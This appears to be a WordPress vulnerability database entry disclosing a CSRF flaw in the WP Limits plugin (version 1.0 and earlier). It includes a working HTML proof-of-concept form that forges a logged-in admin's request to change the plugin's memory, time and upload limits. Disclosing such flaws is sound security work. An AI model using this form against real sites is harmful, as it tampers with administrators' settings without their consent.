WordPress Plugin Vulnerabilities

WP Limits <= 1.0 - Plugin's Settings Update via CSRF

Description

The plugin does not have CSRF check when saving its settings, allowing attacker to make a logged in admin change them, which could make the blog unstable by setting low values

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp_define_limits" method="POST">
      <input type="hidden" name="process" value="wp_define_limits" />
      <input type="hidden" name="memory_limit" value="512" />
      <input type="hidden" name="process_time_limit" value="wp_define_limits" />
      <input type="hidden" name="time_limit" value="100" />
      <input type="hidden" name="process_upload_limit" value="wp_define_limits" />
      <input type="hidden" name="upload_limit" value="512" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Francesco Carlucci
Submitter
Francesco Carlucci
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-11-15 (about 2 years ago)
Added
2021-11-15 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other